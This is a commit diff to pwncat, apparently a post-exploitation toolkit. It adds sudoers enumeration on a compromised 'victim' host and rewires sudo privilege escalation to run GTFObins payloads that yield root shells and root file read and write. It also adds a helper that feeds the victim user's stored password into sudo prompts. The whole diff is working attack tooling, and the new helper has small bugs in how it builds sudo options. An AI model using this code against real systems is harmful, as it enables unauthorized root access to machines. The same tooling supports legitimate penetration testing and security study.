Added sudoers enumeration module. Modified sudo privesc to utilize enumeration data. Added sudo method to pwncat.victim

pwncat/enumerate/__init__.py

@@ -65,6 +65,9 @@ class Enumerate:
                     self.enumerators[provides] = []
                 self.enumerators[provides].append(enumerator)
 
+    def __call__(self, *args, **kwargs):
+        return self.iter(*args, **kwargs)
+
     def iter(
         self,
         typ: str = None,

pwncat/enumerate/sudoers.py

@@ -0,0 +1,251 @@
+#!/usr/bin/env python3
+import dataclasses
+import re
+from typing import Generator, Optional, List
+
+from colorama import Fore
+
+import pwncat
+from pwncat.enumerate import FactData
+
+name = "sudo"
+provides = "sudo"
+per_user = True
+sudo_pattern = re.compile(
+    r"""(%?[a-zA-Z][a-zA-Z0-9_]*)\s+([a-zA-Z_][-a-zA-Z0-9_.]*)\s*="""
+    r"""(\([a-zA-Z_][-a-zA-Z0-9_]*(:[a-zA-Z_][a-zA-Z0-9_]*)?\)|[a-zA-Z_]"""
+    r"""[a-zA-Z0-9_]*)?\s+((NOPASSWD:\s+)|(SETENV:\s+)|(sha[0-9]{1,3}:"""
+    r"""[-a-zA-Z0-9_]+\s+))*(.*)"""
+)
+
+
+@dataclasses.dataclass
+class SudoSpec(FactData):
+
+    line: str
+    """ The full, unaltered line from the sudoers file """
+    matched: bool = False
+    """ The regular expression match data. If this is None, all following fields
+    are invalid and should not be used. """
+    user: Optional[str] = None
+    """ The user which this rule applies to. This is None if a group was specified """
+    group: Optional[str] = None
+    """ The group this rule applies to. This is None if a user was specified. """
+    host: Optional[str] = None
+    """ The host this rule applies to """
+    runas_user: Optional[str] = None
+    """ The user we are allowed to run as """
+    runas_group: Optional[str] = None
+    """ The GID we are allowed to run as (may be None)"""
+    options: List[str] = None
+    """ A list of options specified (e.g. NOPASSWD, SETENV, etc) """
+    hash: str = None
+    """ A hash type and value which sudo will obey """
+    command: str = None
+    """ The command specification """
+
+    def __str__(self):
+        display = ""
+
+        if not self.matched:
+            return self.line
+
+        if self.user is not None:
+            display += f"User {Fore.BLUE}{self.user}{Fore.RESET}: "
+        else:
+            display += f"Group {Fore.CYAN}{self.group}{Fore.RESET}: "
+
+        display += f"{Fore.YELLOW}{self.command}{Fore.RESET} as "
+
+        if self.runas_user == "root":
+            display += f"{Fore.RED}root{Fore.RESET}"
+        elif self.runas_user is not None:
+            display += f"{Fore.BLUE}{self.runas_user}{Fore.RESET}"
+
+        if self.runas_group == "root":
+            display += f":{Fore.RED}root{Fore.RESET}"
+        elif self.runas_group is not None:
+            display += f"{Fore.CYAN}{self.runas_group}{Fore.RESET}"
+
+        if self.host is not None:
+            display += f" on {Fore.MAGENTA}{self.host}{Fore.RESET}"
+
+        if self.options:
+            display += (
+                " ("
+                + ",".join(f"{Fore.GREEN}{x}{Fore.RESET}" for x in self.options)
+                + ")"
+            )
+
+        return display
+
+    @property
+    def description(self):
+        if self.matched:
+            return self.line
+        return None
+
+
+def enumerate() -> Generator[FactData, None, None]:
+    """
+    Enumerate sudo privileges for the current user. If able, this will
+    parse `/etc/sudoers`. Otherwise, it will attempt to use `sudo -l`
+    to enumerate the current user's privileges. In the latter case,
+    it will utilize a defined password if available.
+
+    :return:
+    """
+
+    directives = ["Defaults", "User_Alias", "Runas_Alias", "Host_Alias", "Cmnd_Alias"]
+
+    try:
+        with pwncat.victim.open("/etc/sudoers", "r") as filp:
+            for line in filp:
+                line = line.strip()
+                # Ignore comments and empty lines
+                if line.startswith("#") or line == "":
+                    continue
+
+                match = sudo_pattern.search(line)
+                if match is None:
+                    yield SudoSpec(line, matched=False, options=[])
+                    continue
+
+                user = match.group(1)
+
+                if user in directives:
+                    yield SudoSpec(line, matched=False, options=[])
+                    continue
+
+                if user.startswith("%"):
+                    group = user.lstrip("%")
+                    user = None
+                else:
+                    group = None
+
+                host = match.group(2)
+
+                if match.group(3) is not None:
+                    runas_user = match.group(3).lstrip("(").rstrip(")")
+                    if match.group(4) is not None:
+                        runas_group = match.group(4)
+                        runas_user = runas_user.split(":")[0]
+                    else:
+                        runas_group = None
+                    if runas_user == "":
+                        runas_user = "root"
+                else:
+                    runas_user = "root"
+                    runas_group = None
+
+                options = []
+                hash = None
+
+                for g in map(match.group, [6, 7, 8]):
+                    if g is None:
+                        continue
+
+                    options.append(g.strip().rstrip(":"))
+                    if g.startswith("sha"):
+                        hash = g
+
+                command = match.group(9)
+
+                yield SudoSpec(
+                    line,
+                    True,
+                    user,
+                    group,
+                    host,
+                    runas_user,
+                    runas_group,
+                    options,
+                    hash,
+                    command,
+                )
+
+        # No need to parse `sudo -l`, since can read /etc/sudoers
+        return
+    except (FileNotFoundError, PermissionError):
+        pass
+
+    # Check for our privileges
+    try:
+        result = pwncat.victim.sudo("-l").decode("utf-8")
+    except PermissionError:
+        return
+
+    for line in result.split("\n"):
+        line = line.rstrip()
+
+        # Skipe header lines
+        if not line.startswith(" ") and not line.startswith("\t"):
+            continue
+
+        # Strip beginning whitespace
+        line = line.strip()
+
+        # Skip things that aren't user specifications
+        if not line.startswith("("):
+            continue
+
+        # Build the beginning part of a normal spec
+        line = f"{pwncat.victim.current_user.name} local=" + line.strip()
+
+        match = sudo_pattern.search(line)
+        if match is None:
+            yield SudoSpec(line, matched=False, options=[])
+            continue
+
+        user = match.group(1)
+
+        if user in directives:
+            yield SudoSpec(line, matched=False, options=[])
+            continue
+
+        if user.startswith("%"):
+            group = user.lstrip("%")
+            user = None
+        else:
+            group = None
+
+        host = match.group(2)
+
+        if match.group(3) is not None:
+            runas_user = match.group(3).lstrip("(").rstrip(")")
+            if match.group(4) is not None:
+                runas_group = match.group(4)
+                runas_user = runas_user.split(":")[0]
+            else:
+                runas_group = None
+            if runas_user == "":
+                runas_user = "root"
+        else:
+            runas_user = "root"
+            runas_group = None
+
+        options = []
+        hash = None
+
+        for g in map(match.group, [6, 7, 8]):
+            if g is None:
+                continue
+
+            options.append(g.strip().rstrip(":"))
+            if g.startswith("sha"):
+                hash = g
+
+        command = match.group(9)
+
+        yield SudoSpec(
+            line,
+            True,
+            user,
+            group,
+            host,
+            runas_user,
+            runas_group,
+            options,
+            hash,
+            command,
+        )

pwncat/privesc/sudo.py

@@ -1,16 +1,13 @@
 #!/usr/bin/env python3
-import functools
-from io import StringIO
 from typing import List
 
 from colorama import Fore, Style
 
 import pwncat
+from pwncat import util
 from pwncat.file import RemoteBinaryPipe
 from pwncat.gtfobins import Capability, Stream
 from pwncat.privesc import BaseMethod, PrivescError, Technique
-from pwncat.pysudoers import Sudoers
-from pwncat.util import CTRL_C
 
 
 class Method(BaseMethod):
@@ -18,256 +15,121 @@ class Method(BaseMethod):
     name = "sudo"
     BINARIES = ["sudo"]
 
-    def send_password(self, current_user: "pwncat.db.User"):
-
-        # peak the output
-        output = pwncat.victim.peek_output(some=False).lower()
-
-        if (
-            b"[sudo]" in output
-            or b"password for " in output
-            or output.endswith(b"password: ")
-            or b"lecture" in output
-        ):
-            if current_user.password is None:
-                pwncat.victim.client.send(CTRL_C)  # break out of password prompt
-                raise PrivescError(
-                    f"user {Fore.GREEN}{current_user.name}{Fore.RESET} has no known password"
-                )
-        else:
-            return  # it did not ask for a password, continue as usual
-
-        # Flush any waiting output
-        pwncat.victim.flush_output()
-
-        # Reset the timeout to allow for sudo to pause
-        old_timeout = pwncat.victim.client.gettimeout()
-        pwncat.victim.client.settimeout(5)
-        pwncat.victim.client.send(current_user.password.encode("utf-8") + b"\n")
-
-        output = pwncat.victim.peek_output(some=True)
-
-        # Reset the timeout to the originl value
-        pwncat.victim.client.settimeout(old_timeout)
-
-        if (
-            b"[sudo]" in output
-            or b"password for " in output
-            or b"sorry, " in output
-            or b"sudo: " in output
-        ):
-            pwncat.victim.client.send(CTRL_C)  # break out of password prompt
-
-            # Flush all the output
-            pwncat.victim.recvuntil(b"\n")
-            raise PrivescError(
-                f"user {Fore.GREEN}{current_user.name}{Fore.RESET} could not sudo"
-            )
-
-        return
-
-    def find_sudo(self):
-
-        current_user = pwncat.victim.current_user
-
-        # Process the prompt but it will not wait for the end of the output
-        # delim = pwncat.victim.process("sudo -l", delim=True)
-        sdelim, edelim = [
-            x.encode("utf-8")
-            for x in pwncat.victim.process("sudo -p 'Password: ' -l", delim=True)
-        ]
-
-        self.send_password(current_user)
-
-        # Get the sudo -l output
-        output = pwncat.victim.recvuntil(edelim).split(edelim)[0].strip()
-        sudo_output_lines = output.split(b"\n")
-
-        # Determine the starting line of the valuable sudo input
-        sudo_output_index = -1
-        for index, line in enumerate(sudo_output_lines):
-
-            if line.lower().startswith(b"user "):
-                sudo_output_index = index + 1
-            if sudo_output_lines != -1:
-                sudo_output_lines[index] = line.replace(b" : ", b":")
-
-        sudo_values = "\n".join(
-            [
-                f"{current_user.name} ALL={l.decode('utf-8').strip()}"
-                for l in sudo_output_lines[sudo_output_index:]
-            ]
-        )
-
-        sudoers = Sudoers(filp=StringIO(sudo_values))
-
-        return sudoers.rules
-
     def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
         """ Find all techniques known at this time """
 
-        sudo_rules = self.find_sudo()
+        rules = []
+        for fact in pwncat.victim.enumerate("sudo"):
+            util.progress(f"enumerating sudo rules: {fact.data}")
 
-        if not sudo_rules:
+            # Doesn't appear to be a user specification
-            return []
+            if not fact.data.matched:
-
-        sudo_no_password = []
-        sudo_all_users = []
-        sudo_other_commands = []
-
-        for rule in sudo_rules:
-            for commands in rule["commands"]:
-
-                if commands["tags"] is None:
-                    command_split = commands["command"].split()
-                    run_as_user = command_split[0]
-                    tag = ""
-                    command = " ".join(command_split[1:])
-                if type(commands["tags"]) is list:
-                    tags_split = " ".join(commands["tags"]).split()
-                    if len(tags_split) == 1:
-                        command_split = commands["command"].split()
-                        run_as_user = command_split[0]
-                        tag = " ".join(tags_split)
-                        command = " ".join(command_split[1:])
-                    else:
-                        run_as_user = tags_split[0]
-                        tag = " ".join(tags_split[1:])
-                        command = commands["command"]
-
-                if "NOPASSWD" in tag:
-                    sudo_no_password.append(
-                        {
-                            "run_as_user": run_as_user,
-                            "command": command,
-                            "password": False,
-                        }
-                    )
-
-                if "ALL" in run_as_user:
-                    sudo_all_users.append(
-                        {"run_as_user": "root", "command": command, "password": True}
-                    )
-
-                else:
-                    sudo_other_commands.append(
-                        {
-                            "run_as_user": run_as_user,
-                            "command": command,
-                            "password": True,
-                        }
-                    )
-
-        current_user = pwncat.victim.current_user
-
-        techniques = []
-        for sudo_privesc in [*sudo_no_password, *sudo_all_users, *sudo_other_commands]:
-            if current_user.password is None and sudo_privesc["password"]:
                 continue
 
-            # Split the users on a comma
+            # This specifies a user that is not us
-            users = sudo_privesc["run_as_user"].split(",")
+            if (
-
+                fact.data.user != "ALL"
-            # We don't need to go anywhere else...
+                and fact.data.user != pwncat.victim.current_user.name
-            if "ALL" in users:
+                and fact.data.group is None
-                users = ["root"]
-
-            for method in pwncat.victim.gtfo.iter_sudo(
-                sudo_privesc["command"], caps=capability
             ):
-                for user in users:
+                continue
-                    techniques.append(
-                        Technique(
-                            user,
-                            self,
-                            (method, sudo_privesc["command"], sudo_privesc["password"]),
-                            method.cap,
-                        )
-                    )
 
-        pwncat.victim.flush_output()
+            # Check if we are part of the specified group
+            if fact.data.group is not None:
+                for group in pwncat.victim.current_user.groups:
+                    if fact.data.group == group.name:
+                        break
+                else:
+                    # Non of our secondary groups match, was our primary group specified?
+                    if fact.data.group != pwncat.victim.current_user.group.name:
+                        continue
+
+            # The rule appears to match, add it to the list
+            rules.append(fact.data)
+
+        # We don't need that progress after this is complete
+        util.erase_progress()
+
+        techniques = []
+        for rule in rules:
+            for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
+                if rule.runas_user == "ALL":
+                    user = "root"
+                else:
+                    user = rule.runas_user
+                techniques.append(Technique(user, self, (method, rule), method.cap))
 
         return techniques
 
     def execute(self, technique: Technique):
         """ Run the specified technique """
 
-        current_user = pwncat.victim.current_user
+        method, rule = technique.ident
 
-        # Extract the GTFObins method
-        method, sudo_spec, need_password = technique.ident
-
-        # Build the payload, input data, and exit command
         payload, input_data, exit_command = method.build(
-            user=technique.user, shell=pwncat.victim.shell, spec=sudo_spec
+            user=technique.user, shell=pwncat.victim.shell, spec=rule.command
         )
 
-        # Run the commands
+        try:
-        # pwncat.victim.process(payload, delim=True)
+            pwncat.victim.sudo(payload, as_is=True, wait=False)
-        pwncat.victim.run(payload, wait=False)
+        except PermissionError as exc:
+            raise PrivescError(str(exc))
 
-        # This will check if the password is needed, and attempt to send it or
-        # fail, and return
-        self.send_password(current_user)
-
-        # Provide stdin if needed
         pwncat.victim.client.send(input_data.encode("utf-8"))
 
         return exit_command
 
     def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
 
-        method, sudo_spec, need_password = technique.ident
+        method, rule = technique.ident
 
-        # Read the payload
         payload, input_data, exit_command = method.build(
-            lfile=filepath, spec=sudo_spec, user=technique.user
+            user=technique.user, lfile=filepath, spec=rule.command
         )
 
         mode = "r"
         if method.stream is Stream.RAW:
             mode += "b"
 
-        # Send the command and open a pipe
+        try:
-        pipe = pwncat.victim.subprocess(
+            pipe = pwncat.victim.sudo(
-            payload,
+                payload,
-            mode,
+                as_is=True,
-            data=functools.partial(self.send_password, pwncat.victim.current_user),
+                stream=True,
-            exit_cmd=exit_command.encode("utf-8"),
+                mode=mode,
-        )
+                exit_cmd=exit_command.encode("utf-8"),
+            )
+        except PermissionError as exc:
+            raise PrivescError(str(exc))
 
-        # Send the input data required to initiate the transfer
+        pwncat.victim.client.send(input_data.encode("utf-8"))
-        if len(input_data) > 0:
-            pwncat.victim.client.send(input_data.encode("utf-8"))
 
         return method.wrap_stream(pipe)
 
     def write_file(self, filepath: str, data: bytes, technique: Technique):
 
-        method, sudo_spec, need_password = technique.ident
+        method, rule = technique.ident
 
-        # Build the payload
-        # The data size is WRONG for encoded payloads!!!
-        # ... but I guess this not applicable for `raw` streams..?
         payload, input_data, exit_command = method.build(
-            lfile=filepath, spec=sudo_spec, user=technique.user, length=len(data)
+            user=technique.user, lfile=filepath, spec=rule.command, length=len(data)
         )
 
         mode = "w"
         if method.stream is Stream.RAW:
             mode += "b"
 
-        # Send the command and open a pipe
+        try:
-        pipe = pwncat.victim.subprocess(
+            pipe = pwncat.victim.sudo(
-            payload,
+                payload,
-            mode,
+                as_is=True,
-            data=functools.partial(self.send_password, pwncat.victim.current_user),
+                stream=True,
-            exit_cmd=exit_command.encode("utf-8"),
+                mode=mode,
-        )
+                exit_cmd=exit_command.encode("utf-8"),
+            )
+        except PermissionError as exc:
+            raise PrivescError(str(exc))
 
-        # Send the input data required to initiate the transfer
+        pwncat.victim.client.send(input_data.encode("utf-8"))
-        if len(input_data) > 0:
-            pipe.write(input_data.encode("utf-8"))
 
         with method.wrap_stream(pipe) as pipe:
             pipe.write(data)
@@ -281,7 +143,7 @@ class Method(BaseMethod):
             )
             + (
                 ""
-                if tech.ident[2]
+                if "NOPASSWD" not in tech.ident[1].options
                 else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}"
             )
             + ")"

pwncat/remote/victim.py

@@ -1429,6 +1429,92 @@ class Victim:
             self.client.sendall(password.encode("utf-8") + b"\n")
             self.flush_output()
 
+    def sudo(
+        self,
+        command: str,
+        user: Optional[str] = None,
+        group: Optional[str] = None,
+        as_is: bool = False,
+        wait: bool = True,
+        password: str = None,
+        stream: bool = False,
+        **kwargs,
+    ):
+        """
+        Run the specified command with sudo. If specified, "user" and/or "group" options
+        will be added to the command.
+
+        If as_is is true, the command string is assumed to contain "sudo" in it and "user"/"group"
+        are not processed. This enables you to use a pre-built command, but utilize the standard
+        processing of user/password information and communication.
+
+        :param command: the command/options to pass to sudo. This is appended
+            to the sudo command, so it can contain other options such as "-l"
+        :param user: the user to run as. this adds a "-u" option to the sudo command
+        :param group: the group to run as. this adds a "-g" option to the sudo command
+        :return: the command output or None if wait is False
+        """
+
+        if as_is:
+            sudo_command = command
+        else:
+            sudo_command = f"sudo -p 'Password: '"
+
+            if user is not None:
+                sudo_command += f"-u {user}"
+            if group is not None:
+                sudo_command += f"-u {group}"
+
+            sudo_command += f" {command}"
+
+        if password is None:
+            password = self.current_user.password
+
+        if stream:
+            pipe = self.subprocess(sudo_command, **kwargs)
+        else:
+            sdelim, edelim = pwncat.victim.process(sudo_command, delim=True)
+
+        output = self.peek_output(some=True).lower()
+        if (
+            b"[sudo]" in output
+            or b"password for " in output
+            or output.endswith(b"password: ")
+            or b"lecture" in output
+        ):
+            if password is None:
+                self.client.send(util.CTRL_C)
+                raise PermissionError(f"{self.current_user.name}: no known password")
+
+            self.flush_output()
+
+            self.client.send(password.encode("utf-8") + b"\n")
+
+            old_timeout = pwncat.victim.client.gettimeout()
+            pwncat.victim.client.settimeout(5)
+            output = pwncat.victim.peek_output(some=True)
+            pwncat.victim.client.settimeout(old_timeout)
+
+            if (
+                b"[sudo]" in output
+                or b"password for " in output
+                or b"sorry," in output
+                or b"sudo: " in output
+            ):
+                pwncat.victim.client.send(util.CTRL_C)
+                pwncat.victim.recvuntil(b"\n")
+                raise PermissionError(f"{self.current_user.name}: incorrect password")
+
+        if stream:
+            return pipe
+
+        # The user didn't want to wait, give them the ending delimiter
+        if not wait:
+            return edelim
+
+        # Return the output of the process
+        return self.recvuntil(edelim.encode("utf-8")).split(edelim.encode("utf-8"))[0]
+
     def raw(self, echo: bool = False):
         """
         Place the remote terminal in raw mode. This is used internally to facilitate
@@ -1762,6 +1848,13 @@ class Victim:
 
         return known_users
 
+    @property
+    def groups(self) -> Dict[str, pwncat.db.Group]:
+        if len(self.host.groups) == 0:
+            self.reload_users()
+
+        return {g.name: g for g in self.host.groups}
+
     def find_user_by_id(self, uid: int):
         """
         Locate a user in the database with the specified user ID.